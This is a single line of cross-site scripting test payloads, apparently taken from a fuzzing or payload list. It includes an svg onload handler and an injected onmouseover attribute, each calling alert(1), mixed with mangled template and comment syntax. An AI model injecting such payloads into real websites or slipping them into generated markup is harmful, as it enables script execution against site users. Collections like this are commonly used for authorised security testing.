<%(html comment removed: '%> <svg/onload=alert(1) <input type="text" value=``<div/onmouseover='alert(1)'>X alert(1)>